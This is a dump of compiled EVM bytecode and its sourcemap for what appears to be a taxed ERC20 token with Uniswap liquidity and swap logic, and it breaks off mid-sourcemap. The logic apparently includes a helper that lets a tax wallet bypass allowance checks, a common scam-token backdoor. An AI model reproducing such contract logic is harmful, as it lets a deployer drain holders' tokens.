5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061076e9190611648565b601080546001600160a01b039283166001600160a01b031991821617909155600f805492841692909116821790556107bc9030906107ae6009600a611623565b6105c790633b9aca00611631565b600f546001600160a01b031663f305d719473060646107ef826001600160a01b03165f9081526001602052604090205490565b6107fa906062611631565b6108049190611663565b5f806108175f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561087d573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108a29190611682565b5050601054600f5460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156108f7573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061091b91906116ad565b50506010805460ff60a81b1916600160a81b179055565b5f61051b338484610b35565b610946610adc565b6001600160a01b0381166109b05760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b610576816110c1565b6001600160a01b038316610a1b5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109a7565b6001600160a01b038216610a7c5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109a7565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f546001600160a01b031633146105e85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016109a7565b6001600160a01b038316610b995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109a7565b6001600160a01b038216610bfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109a7565b5f8111610c5c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109a7565b6001600160a01b0383165f9081526003602052604081205460ff16158015610c9c57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ef657601054600160a81b900460ff16610cec5760405162461bcd60e51b815260206004820152600f60248201526e1b9bdd081cdd185c9d1959081e595d608a1b60448201526064016109a7565b6010546001600160a01b0390811690841603610d3157610d2e6064610d28600d54600c5410610d1d57600b54610d21565b6009545b8590611110565b9061118e565b90505b6010546001600160a01b038581169116148015610d5c5750600f546001600160a01b03848116911614155b15610d9c57610d996064610d28600d54600c5f815480929190610d7e906116cc565b9190505510610d8f57600a54610d21565b6008548590611110565b90505b6010546001600160a01b03848116911614610e365760065482610dd3856001600160a01b03165f9081526001602052604090205490565b610ddd91906116e4565b1115610e365760405162461bcd60e51b815260206004820152602260248201527f4578636565647320746865205f6d61784163636f756e7453697a65416d6f756e6044820152613a1760f11b60648201526084016109a7565b601054600160a01b900460ff16158015610e5d57506010546001600160a01b038481169116145b8015610e725750601054600160a81b900460ff165b15610ef657600554305f908152600160205260409020541115610ebc57305f90815260016020526040902054610ebc90610eb790610eb2600754866111cf565b6111cf565b6111ff565b47600e546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610ef3573d5f803e3d5ffd5b50505b8015610f6e57305f90815260016020526040902054610f159082611376565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f659085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610f9090836113d4565b6001600160a01b0385165f90815260016020526040902055610fd3610fb583836113d4565b6001600160a01b0385165f9081526001602052604090205490611376565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61101c85856113d4565b60405190815260200160405180910390a350505050565b5f8115806110415750816001145b156110b857838311156110a75760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016109a7565b6110b183856116f7565b90506105d0565b505f9392505050565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f825f0361111f57505f61051f565b5f61112a8385611631565b9050826111378583611663565b146105d05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109a7565b5f6105d083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113e0565b600e546001600160a01b03165f908152600460205260408120600290558183116111f957826105d0565b50919050565b6010805460ff60a01b1916600160a01b1790558015611366576040805160028082526060820183525f9260208301908036833701905050905030815f8151811061124b5761124b61170a565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112c69190611648565b816001815181106112d9576112d961170a565b6001600160a01b039283166020918202929092010152600f546112ff91309116846109b9565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113379085905f9086903090429060040161171e565b5f604051808303815f87803b15801561134e575f80fd5b505af1158015611360573d5f803e3d5ffd5b50505050505b506010805460ff60a01b19169055565b5f8061138283856116e4565b9050838110156105d05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109a7565b5f6105d083835f611033565b5f81836114005760405162461bcd60e51b81526004016109a79190611415565b505f61140c8486611663565b95945050505050565b5f602080835283518060208501525f5b8181101561144157858101830151858201604001528201611425565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610576575f80fd5b5f8060408385031215611486575f80fd5b823561149181611461565b946020939093013593505050565b5f805f606084860312156114b1575f80fd5b83356114bc81611461565b925060208401356114cc81611461565b929592945050506040919091013590565b5f602082840312156114ed575f80fd5b81356105d081611461565b5f8060408385031215611509575f80fd5b823561151481611461565b9150602083013561152481611461565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561157d57815f19048211156115635761156361152f565b8085161561157057918102915b93841c9390800290611548565b509250929050565b5f826115935750600161051f565b8161159f57505f61051f565b81600181146115b557600281146115bf576115db565b600191505061051f565b60ff8411156115d0576115d061152f565b50506001821b61051f565b5060208310610133831016604e8410600b84101617156115fe575081810a61051f565b6116088383611543565b805f190482111561161b5761161b61152f565b029392505050565b5f6105d060ff841683611585565b808202811582820484141761051f5761051f61152f565b5f60208284031215611658575f80fd5b81516105d081611461565b5f8261167d57634e487b7160e01b5f52601260045260245ffd5b500490565b5f805f60608486031215611694575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156116bd575f80fd5b815180151581146105d0575f80fd5b5f600182016116dd576116dd61152f565b5060010190565b8082018082111561051f5761051f61152f565b8181038181111561051f5761051f61152f565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b8181101561176e5784516001600160a01b031683529383019391830191600101611749565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220a66f832bb3a243e709ac079348a3c367a8c95d169a2e04c886dab7a86135419064736f6c63430008180033

Deployed Bytecode Sourcemap

3924:6994:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5712:83;;;;;;;;;;-1:-1:-1;5782:5:0;;;;;;;;;;;;-1:-1:-1;;;5782:5:0;;;;5712:83;;;;;;;:::i;:::-;;;;;;;;6534:161;;;;;;;;;;-1:-1:-1;6534:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6534:161:0;1023:187:1;4661:63:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4661:63:0;1215:177:1;5983:98:0;;;;;;;;;;;;;:::i;10701:111::-;;;;;;;;;;;;;:::i;:::-;;6701:295;;;;;;;;;;-1:-1:-1;6701:295:0;;;;;:::i;:::-;;:::i;4140:47::-;;;;;;;;;;-1:-1:-1;4140:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5894:83;;;;;;;;;;-1:-1:-1;5894:83:0;;4288:1;2252:36:1;;2240:2;2225:18;5894:83:0;2110:184:1;4773:33:0;;;;;;;;;;;;;;;;4904:31;;;;;;;;;;;;;;;;4194:46;;;;;;;;;;-1:-1:-1;4194:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;6087:119;;;;;;;;;;-1:-1:-1;6087:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6180:18:0;6153:7;6180:18;;;:9;:18;;;;;;;6087:119;2654:103;;;;;;;;;;;;;:::i;10818:97::-;;;;;;;;;;;;;:::i;4588:66::-;;;;;;;;;;;;;;;;9888:772;;;;;;;;;;;;;:::i;4858:38::-;;;;;;;;;;;;;;;;2423:87;;;;;;;;;;-1:-1:-1;2469:7:0;2496:6;-1:-1:-1;;;;;2496:6:0;2423:87;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;2423:87:0;2299:203:1;5801:87:0;;;;;;;;;;-1:-1:-1;5873:7:0;;;;;;;;;;;;-1:-1:-1;;;5873:7:0;;;;5801:87;;6212:167;;;;;;;;;;-1:-1:-1;6212:167:0;;;;;:::i;:::-;;:::i;4942:29::-;;;;;;;;;;;;;;;;4518:63;;;;;;;;;;;;;;;;4733:33;;;;;;;;;;;;;;;;6385:143;;;;;;;;;;-1:-1:-1;6385:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6493:18:0;;;6466:7;6493:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6385:143;4813:37;;;;;;;;;;;;;;;;2763:201;;;;;;;;;;-1:-1:-1;2763:201:0;;;;;:::i;:::-;;:::i;4978:33::-;;;;;;;;;;-1:-1:-1;4978:33:0;;;;-1:-1:-1;;;;;4978:33:0;;;6534:161;6609:4;6626:39;237:10;6649:7;6658:6;6626:8;:39::i;:::-;-1:-1:-1;6683:4:0;6534:161;;;;;:::o;5983:98::-;6036:7;4347:13;4288:1;4347:2;:13;:::i;:::-;4334:26;;:10;:26;:::i;:::-;6056:17;;5983:98;:::o;10701:111::-;2384:13;:11;:13::i;:::-;10743:61:::1;::::0;10751:10:::1;::::0;10782:21:::1;10743:61:::0;::::1;;;::::0;::::1;::::0;;;10782:21;10751:10;10743:61;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10701:111::o:0;6701:295::-;6799:4;6816:36;6826:6;6834:9;6845:6;6816:9;:36::i;:::-;237:10;6942:22;;;;:10;:22;;;;;;;;;-1:-1:-1;;;;;6895:19:0;;;;:11;:19;;;;;:33;;;;;;;;;;6864:102;;6873:6;;237:10;;6895:70;;6933:6;;6895:37;:70::i;:::-;6864:8;:102::i;:::-;-1:-1:-1;6984:4:0;6701:295;;;;;;:::o;2654:103::-;2384:13;:11;:13::i;:::-;2719:30:::1;2746:1;2719:18;:30::i;:::-;2654:103::o:0;10818:97::-;2384:13;:11;:13::i;:::-;4347::::1;4288:1;4347:2;:13;:::i;:::-;4334:26;::::0;:10:::1;:26;:::i;:::-;10873:21;:34:::0;10818:97::o;9888:772::-;2384:13;:11;:13::i;:::-;9944:35:::1;10001:42;9944:100;;10090:16;-1:-1:-1::0;;;;;10090:24:0::1;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10072:70:0::1;;10151:4;10158:16;-1:-1:-1::0;;;;;10158:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10072:110;::::0;-1:-1:-1;;;;;;10072:110:0::1;::::0;;;;;;-1:-1:-1;;;;;5292:15:1;;;10072:110:0::1;::::0;::::1;5274:34:1::0;5344:15;;5324:18;;;5317:43;5209:18;;10072:110:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10056:13;:126:::0;;-1:-1:-1;;;;;10056:126:0;;::::1;-1:-1:-1::0;;;;;;10056:126:0;;::::1;;::::0;;;10193:15:::1;:34:::0;;;;::::1;::::0;;;::::1;::::0;::::1;::::0;;10238:61:::1;::::0;10255:4:::1;::::0;4347:13:::1;4288:1;4347:2;:13;:::i;:::-;4334:26;::::0;:10:::1;:26;:::i;10238:61::-;10311:15;::::0;-1:-1:-1;;;;;10311:15:0::1;:31;10350:21;10395:4;10443:3;10418:24;10395:4:::0;-1:-1:-1;;;;;6180:18:0;6153:7;6180:18;;;:9;:18;;;;;;;6087:119;10418:24:::1;10415:27;::::0;:2:::1;:27;:::i;:::-;:31;;;;:::i;:::-;10461:1;10477::::0;10493:7:::1;2469::::0;2496:6;-1:-1:-1;;;;;2496:6:0;;2423:87;10493:7:::1;10311:230;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10311:230:0;;;-1:-1:-1;;;;;5952:15:1;;;10311:230:0::1;::::0;::::1;5934:34:1::0;5984:18;;;5977:34;;;;6027:18;;;6020:34;;;;6070:18;;;6063:34;6134:15;;;6113:19;;;6106:44;10515:15:0::1;6166:19:1::0;;;6159:35;5868:19;;10311:230:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10559:13:0::1;::::0;10590:15:::1;::::0;10552:71:::1;::::0;-1:-1:-1;;;10552:71:0;;-1:-1:-1;;;;;10590:15:0;;::::1;10552:71;::::0;::::1;6690:51:1::0;-1:-1:-1;;6757:18:1;;;6750:34;10559:13:0;::::1;::::0;-1:-1:-1;10552:29:0::1;::::0;6663:18:1;;10552:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10634:11:0::1;:18:::0;;-1:-1:-1;;;;10634:18:0::1;-1:-1:-1::0;;;10634:18:0::1;::::0;;9888:772::o;6212:167::-;6290:4;6307:42;237:10;6331:9;6342:6;6307:9;:42::i;2763:201::-;2384:13;:11;:13::i;:::-;-1:-1:-1;;;;;2852:22:0;::::1;2844:73;;;::::0;-1:-1:-1;;;2844:73:0;;7279:2:1;2844:73:0::1;::::0;::::1;7261:21:1::0;7318:2;7298:18;;;7291:30;7357:34;7337:18;;;7330:62;-1:-1:-1;;;7408:18:1;;;7401:36;7454:19;;2844:73:0::1;;;;;;;;;2928:28;2947:8;2928:18;:28::i;7008:335::-:0;-1:-1:-1;;;;;7101:19:0;;7093:68;;;;-1:-1:-1;;;7093:68:0;;7686:2:1;7093:68:0;;;7668:21:1;7725:2;7705:18;;;7698:30;7764:34;7744:18;;;7737:62;-1:-1:-1;;;7815:18:1;;;7808:34;7859:19;;7093:68:0;7484:400:1;7093:68:0;-1:-1:-1;;;;;7180:21:0;;7172:68;;;;-1:-1:-1;;;7172:68:0;;8091:2:1;7172:68:0;;;8073:21:1;8130:2;8110:18;;;8103:30;8169:34;8149:18;;;8142:62;-1:-1:-1;;;8220:18:1;;;8213:32;8262:19;;7172:68:0;7889:398:1;7172:68:0;-1:-1:-1;;;;;7251:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7303:32;;1361:25:1;;;7303:32:0;;1334:18:1;7303:32:0;;;;;;;7008:335;;;:::o;2516:132::-;2469:7;2496:6;-1:-1:-1;;;;;2496:6:0;237:10;2580:23;2572:68;;;;-1:-1:-1;;;2572:68:0;;8494:2:1;2572:68:0;;;8476:21:1;;;8513:18;;;8506:30;8572:34;8552:18;;;8545:62;8624:18;;2572:68:0;8292:356:1;7355:1869:0;-1:-1:-1;;;;;7447:19:0;;7439:69;;;;-1:-1:-1;;;7439:69:0;;8855:2:1;7439:69:0;;;8837:21:1;8894:2;8874:18;;;8867:30;8933:34;8913:18;;;8906:62;-1:-1:-1;;;8984:18:1;;;8977:35;9029:19;;7439:69:0;8653:401:1;7439:69:0;-1:-1:-1;;;;;7527:19:0;;7519:67;;;;-1:-1:-1;;;7519:67:0;;9261:2:1;7519:67:0;;;9243:21:1;9300:2;9280:18;;;9273:30;9339:34;9319:18;;;9312:62;-1:-1:-1;;;9390:18:1;;;9383:33;9433:19;;7519:67:0;9059:399:1;7519:67:0;7614:1;7605:6;:10;7597:64;;;;-1:-1:-1;;;7597:64:0;;9665:2:1;7597:64:0;;;9647:21:1;9704:2;9684:18;;;9677:30;9743:34;9723:18;;;9716:62;-1:-1:-1;;;9794:18:1;;;9787:39;9843:19;;7597:64:0;9463:405:1;7597:64:0;-1:-1:-1;;;;;7707:21:0;;7672:17;7707:21;;;:14;:21;;;;;;;;7706:22;:62;;;;-1:-1:-1;;;;;;7747:21:0;;;;;;:14;:21;;;;;;;;7746:22;7706:62;7702:1153;;;7793:11;;-1:-1:-1;;;7793:11:0;;;;7785:39;;;;-1:-1:-1;;;7785:39:0;;10075:2:1;7785:39:0;;;10057:21:1;10114:2;10094:18;;;10087:30;-1:-1:-1;;;10133:18:1;;;10126:45;10188:18;;7785:39:0;9873:339:1;7785:39:0;7851:13;;-1:-1:-1;;;;;7851:13:0;;;7842:22;;;;7839:173;;7895:117;8008:3;7895:108;7919:9;;7906:12;;:22;:96;;7983:19;;7906:96;;;7949:13;;7906:96;7895:6;;:10;:108::i;:::-;:112;;:117::i;:::-;7883:129;;7839:173;8040:13;;-1:-1:-1;;;;;8031:22:0;;;8040:13;;8031:22;:77;;;;-1:-1:-1;8092:15:0;;-1:-1:-1;;;;;8075:33:0;;;8092:15;;8075:33;;8031:77;8027:231;;;8139:119;8254:3;8139:110;8166:9;;8150:12;;:14;;;;;;;;;:::i;:::-;;;;;:25;:98;;8230:18;;8150:98;;;8196:13;;8139:6;;:10;:110::i;:119::-;8127:131;;8027:231;8285:13;;-1:-1:-1;;;;;8276:22:0;;;8285:13;;8276:22;8273:140;;8353:21;;8343:6;8324:16;8334:5;-1:-1:-1;;;;;6180:18:0;6153:7;6180:18;;;:9;:18;;;;;;;6087:119;8324:16;:25;;;;:::i;:::-;:50;;8316:97;;;;-1:-1:-1;;;8316:97:0;;10689:2:1;8316:97:0;;;10671:21:1;10728:2;10708:18;;;10701:30;10767:34;10747:18;;;10740:62;-1:-1:-1;;;10818:18:1;;;10811:32;10860:19;;8316:97:0;10487:398:1;8316:97:0;8433:6;;-1:-1:-1;;;8433:6:0;;;;8432:7;:33;;;;-1:-1:-1;8452:13:0;;-1:-1:-1;;;;;8443:22:0;;;8452:13;;8443:22;8432:33;:48;;;;-1:-1:-1;8469:11:0;;-1:-1:-1;;;8469:11:0;;;;8432:48;8428:416;;;8531:29;;8522:4;6153:7;6180:18;;;:9;:18;;;;;;8504:56;8501:160;;;8620:4;6153:7;6180:18;;;:9;:18;;;;;;8583:78;;8598:62;;8628:31;8632:18;;8652:6;8628:3;:31::i;:::-;8598:3;:62::i;:::-;8583:14;:78::i;:::-;8709:21;8785:10;;8777:51;;-1:-1:-1;;;;;8785:10:0;;;;8806:21;8777:51;;;;;8785:10;8777:51;8785:10;8777:51;8806:21;8785:10;8777:51;;;;;;;;;;;;;;;;;;;;;8482:362;8428:416;8868:13;;8865:164;;8938:4;8920:24;;;;:9;:24;;;;;;:39;;8949:9;8920:28;:39::i;:::-;8913:4;8895:24;;;;:9;:24;;;;;;;:64;;;;8977:40;;-1:-1:-1;;;;;8977:40:0;;;;;;;9007:9;1361:25:1;;1349:2;1334:18;;1215:177;8977:40:0;;;;;;;;8865:164;-1:-1:-1;;;;;9056:16:0;;;;;;:9;:16;;;;;;:28;;9077:6;9056:20;:28::i;:::-;-1:-1:-1;;;;;9039:16:0;;;;;;:9;:16;;;;;:45;9112:43;9133:21;:6;9144:9;9133:10;:21::i;:::-;-1:-1:-1;;;;;9112:16:0;;;;;;:9;:16;;;;;;;:20;:43::i;:::-;-1:-1:-1;;;;;9095:16:0;;;;;;;:9;:16;;;;;:60;;;;9171:45;;;9194:21;:6;9205:9;9194:10;:21::i;:::-;9171:45;;1361:25:1;;;1349:2;1334:18;9171:45:0;;;;;;;7428:1796;7355:1869;;;:::o;1255:273::-;1332:7;1355:14;;;:32;;;1373:9;1386:1;1373:14;1355:32;1352:150;;;1417:1;1412;:6;;1404:59;;;;-1:-1:-1;;;1404:59:0;;11092:2:1;1404:59:0;;;11074:21:1;11131:2;11111:18;;;11104:30;11170:34;11150:18;;;11143:62;-1:-1:-1;;;11221:18:1;;;11214:38;11269:19;;1404:59:0;10890:404:1;1404:59:0;1485:5;1489:1;1485;:5;:::i;:::-;1478:12;;;;1352:150;-1:-1:-1;1519:1:0;1255:273;;;;;:::o;2970:191::-;3044:16;3063:6;;-1:-1:-1;;;;;3080:17:0;;;-1:-1:-1;;;;;;3080:17:0;;;;;;3113:40;;3063:6;;;;;;;3113:40;;3044:16;3113:40;3033:128;2970:191;:::o;1534:246::-;1592:7;1616:1;1621;1616:6;1612:47;;-1:-1:-1;1646:1:0;1639:8;;1612:47;1669:9;1681:5;1685:1;1681;:5;:::i;:::-;1669:17;-1:-1:-1;1714:1:0;1705:5;1709:1;1669:17;1705:5;:::i;:::-;:10;1697:56;;;;-1:-1:-1;;;1697:56:0;;11634:2:1;1697:56:0;;;11616:21:1;11673:2;11653:18;;;11646:30;11712:34;11692:18;;;11685:62;-1:-1:-1;;;11763:18:1;;;11756:31;11804:19;;1697:56:0;11432:397:1;1786:132:0;1844:7;1871:39;1875:1;1878;1871:39;;;;;;;;;;;;;;;;;:3;:39::i;9230:128::-;9310:10;;-1:-1:-1;;;;;9310:10:0;9282:7;9299:22;;;:10;:22;;;;;9324:1;9299:26;;9342:3;;;9341:9;;9349:1;9341:9;;;-1:-1:-1;9347:1:0;9230:128;-1:-1:-1;9230:128:0:o;9364:518::-;5218:6;:13;;-1:-1:-1;;;;5218:13:0;-1:-1:-1;;;5218:13:0;;;9440:27;;9459:7:::1;9440:27;9501:16;::::0;;9515:1:::1;9501:16:::0;;;;;::::1;::::0;;9477:21:::1;::::0;9501:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9501:16:0::1;9477:40;;9546:4;9528;9533:1;9528:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9528:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9572:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9572:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9528:7;;9572:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9562:4;9567:1;9562:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9562:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9637:15:::1;::::0;9605:62:::1;::::0;9622:4:::1;::::0;9637:15:::1;9655:11:::0;9605:8:::1;:62::i;:::-;9678:15;::::0;:196:::1;::::0;-1:-1:-1;;;9678:196:0;;-1:-1:-1;;;;;9678:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9759:11;;9678:15:::1;::::0;9801:4;;9828::::1;::::0;9848:15:::1;::::0;9678:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;9429:453;5242:1;-1:-1:-1::0;5254:6:0;:14;;-1:-1:-1;;;;5254:14:0;;;9364:518::o;959:179::-;1017:7;;1049:5;1053:1;1049;:5;:::i;:::-;1037:17;;1078:1;1073;:6;;1065:46;;;;-1:-1:-1;;;1065:46:0;;13285:2:1;1065:46:0;;;13267:21:1;13324:2;13304:18;;;13297:30;13363:29;13343:18;;;13336:57;13410:18;;1065:46:0;13083:351:1;1144:105:0;1202:7;1229:12;1233:1;1236;1239;1229:3;:12::i;1924:189::-;2010:7;2045:12;2038:5;2030:28;;;;-1:-1:-1;;;2030:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2069:9:0;2081:5;2085:1;2081;:5;:::i;:::-;2069:17;1924:189;-1:-1:-1;;;;;1924:189:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;3124:127::-;3185:10;3180:3;3176:20;3173:1;3166:31;3216:4;3213:1;3206:15;3240:4;3237:1;3230:15;3256:416;3345:1;3382:5;3345:1;3396:270;3417:7;3407:8;3404:21;3396:270;;;3476:4;3472:1;3468:6;3464:17;3458:4;3455:27;3452:53;;;3485:18;;:::i;:::-;3535:7;3525:8;3521:22;3518:55;;;3555:16;;;;3518:55;3634:22;;;;3594:15;;;;3396:270;;;3400:3;3256:416;;;;;:::o;3677:806::-;3726:5;3756:8;3746:80;;-1:-1:-1;3797:1:1;3811:5;;3746:80;3845:4;3835:76;;-1:-1:-1;3882:1:1;3896:5;;3835:76;3927:4;3945:1;3940:59;;;;4013:1;4008:130;;;;3920:218;;3940:59;3970:1;3961:10;;3984:5;;;4008:130;4045:3;4035:8;4032:17;4029:43;;;4052:18;;:::i;:::-;-1:-1:-1;;4108:1:1;4094:16;;4123:5;;3920:218;;4222:2;4212:8;4209:16;4203:3;4197:4;4194:13;4190:36;4184:2;4174:8;4171:16;4166:2;4160:4;4157:12;4153:35;4150:77;4147:159;;;-1:-1:-1;4259:19:1;;;4291:5;;4147:159;4338:34;4363:8;4357:4;4338:34;:::i;:::-;4408:6;4404:1;4400:6;4396:19;4387:7;4384:32;4381:58;;;4419:18;;:::i;:::-;4457:20;;3677:806;-1:-1:-1;;;3677:806:1:o;4488:140::-;4546:5;4575:47;4616:4;4606:8;4602:19;4596:4;4575:47;:::i;4633:168::-;4706:9;;;4737;;4754:15;;;4748:22;;4734:37;4724:71;;4775:18;;:::i;4806:251::-;4876:6;4929:2;4917:9;4908:7;4904:23;4900:32;4897:52;;;4945:1;4942;4935:12;4897:52;4977:9;4971:16;4996:31;5021:5;4996:31;:::i;5371:217::-;5411:1;5437;5427:132;;5481:10;5476:3;5472:20;5469:1;5462:31;5516:4;5513:1;5506:15;5544:4;5541:1;5534:15;5427:132;-1:-1:-1;5573:9:1;;5371:217::o;6205:306::-;6293:6;6301;6309;6362:2;6350:9;6341:7;6337:23;6333:32;6330:52;;;6378:1;6375;6368:12;6330:52;6407:9;6401:16;6391:26;;6457:2;6446:9;6442:18;6436:25;6426:35;;6501:2;6490:9;6486:18;6480:25;6470:35;;6205:306;;;;;:::o;6795:277::-;6862:6;6915:2;6903:9;6894:7;6890:23;6886:32;6883:52;;;6931:1;6928;6921:12;6883:52;6963:9;6957:16;7016:5;7009:13;7002:21;6995:5;6992:32;6982:60;;7038:1;7035;7028:12;10217:135;10256:3;10277:17;;;10274:43;;10297:18;;:::i;:::-;-1:-1:-1;10344:1:1;10333:13;;10217:135::o;10357:125::-;10422:9;;;10443:10;;;10440:36;;;10456:18;;:::i;11299:128::-;11366:9;;;11387:11;;;11384:37;;;11401:18;;:::i;11966:127::-;12027:10;12022:3;12018:20;12015:1;12008:31;12058:4;12055:1;12048:15;12082:4;12079:1;12072:15;12098:980;12360:4;12408:3;12397:9;12393:19;12439:6;12428:9;12421:25;12465:2;12503:6;12498:2;12487:9;12483:18;12476:34;12546:3;12541:2;12530:9;12526:18;12519:31;12570:6;12605;12599:13;12636:6;12628;12621:22;12674:3;12663:9;12659:19;12652:26;;12713:2;12705:6;1270